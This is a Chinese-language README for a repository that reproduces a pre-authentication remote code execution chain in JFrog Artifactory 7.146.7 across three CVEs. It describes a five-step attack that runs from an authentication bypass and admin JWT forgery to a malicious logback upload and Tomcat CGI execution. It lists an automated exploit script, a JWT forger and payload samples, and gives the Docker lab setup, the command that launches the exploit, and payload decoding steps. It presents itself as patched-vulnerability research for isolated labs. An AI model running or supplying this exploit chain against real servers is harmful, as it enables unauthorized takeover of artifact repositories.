JFrog Artifactory 预认证全链 RCE 复现项目(CVE-2026-42018 / CVE-2026-65616 / CVE-2026-65615):完整攻击链报告、7.146.7 Docker 复现交付物(EXP / 部署 / 基线验证 / payload 样本 / 恢复工具)
**仅供授权安全测试、防御研究与安全教学使用。**该漏洞链已被厂商修复(建议升级至 7.161.15+),请仅在一次性的隔离实验环境中复现。未经授权对他人系统实施本仓库所述任何操作均属违法行为,由此产生的一切后果由操作者自行承担。
本仓库为 edrabb.fr 披露的 JFrog Artifactory 预认证 RCE 漏洞链的完整复现交付物:基于官方镜像 releases-docker.jfrog.io/jfrog/artifactory-oss:7.146.7(7.146.x 唯一官方部署形态:外接 PostgreSQL)完成 5 步攻击链全自动化复现,并通过「全新环境直接打出 RCE」的基线实验证明复现真实性(详见 attack-chain-package/baseline/BASELINE-VERIFIED.md)。
| 步骤 | 环节 | CVE |
|---|
| Step 1 | 尾斜杠认证绕过,获取匿名 JWT(aud=*@*) | CVE-2026-42018 |
| Step 2 | 兑换 access + refresh 令牌对 | CVE-2026-42018 |
| Step 3 | Router 发现 jfrt@ 服务 ID → 伪造 admin JWT 刷新 → 真实签名管理员令牌 | CVE-2026-65616 |
| Step 4 | systemUpload 上传 payload.zip → system import 解压写入恶意 logback.xml | — |
| Step 5 | Logback fileHeader 落盘 web.xml / CGI 组件 → Tomcat CGI 预认证 RCE | CVE-2026-65615 |
├── 漏洞攻击链完整报告.md ← 总纲报告(复现真实性基线验证、原理、与披露文章对比、修复建议)
├── 复现报告.md ← 744 行详细技术复现报告(源码级原理 + 手工步骤)
└── attack-chain-package/
├── README.md ← 快速上手(部署靶场 / 发起攻击 / 恢复环境)
├── exploit/
│ ├── exp.py ← 全链自动化 EXP(Python 3 标准库,零第三方依赖)
│ └── forge_jwt.py ← Step 3 手工 JWT 伪造脚本(独立于 exp.py)
├── deploy/system.yaml ← Artifactory 7.146.7 容器挂载配置(官方镜像硬性要求 PostgreSQL)
├── baseline/ ← 复现真实性基线验证(全新环境直接打出 RCE 的实验记录与配置)
├── payload-sample/ ← 离线生成的 payload 组件样例(exp.py --dump-payload 产物)
└── recovery/ ← 环境恢复与验证脚本(事件响应参考)
# 1. 部署靶场(详见 attack-chain-package/README.md;需约 6 GB 磁盘与 8 GB 可用内存)
docker network create jfrog-net
docker run -d --name artifactory-pg --network jfrog-net \
-e POSTGRES_DB=artifactory -e POSTGRES_USER=artifactory -e POSTGRES_PASSWORD=artifactory \
postgres:15
docker run -d --name artifactory-rce --network jfrog-net -p 8081:8081 -p 8082:8082 \
-v <ABS_PATH>/attack-chain-package/deploy/system.yaml:/opt/jfrog/artifactory/var/etc/system.yaml \
releases-docker.jfrog.io/jfrog/artifactory-oss:7.146.7
# 等待 2–4 分钟,ping 返回 OK 即就绪
curl -s http://127.0.0.1:8082/artifactory/api/system/ping
# 2. 发起攻击(一次性模式,默认执行 id;Windows 宿主 python 为 2.x 时用 py -3)
python3 attack-chain-package/exploit/exp.py --target http://127.0.0.1:8082
# 3. 恢复环境(最简:销毁重建;原地恢复见 recovery/recover5.sh)
docker rm -f artifactory-rce
攻击对 webapp 是一次性破坏:Artifactory 原 Web 功能在 RCE 落地时即被杀死,请务必使用一次性实验容器。
attack-chain-package/payload-sample/payload.zip(最终上传物,导入触发 RCE)以 base64 文本形式存放为 payload.zip.b64:
# Windows PowerShell
[IO.File]::WriteAllBytes("payload.zip", [Convert]::FromBase64String((Get-Content "payload.zip.b64" -Raw).Trim()))
# Linux / macOS
base64 -d payload.zip.b64 > payload.zip
admin / password(JFrog 默认初始账号;本攻击链全程预认证,不使用任何凭据)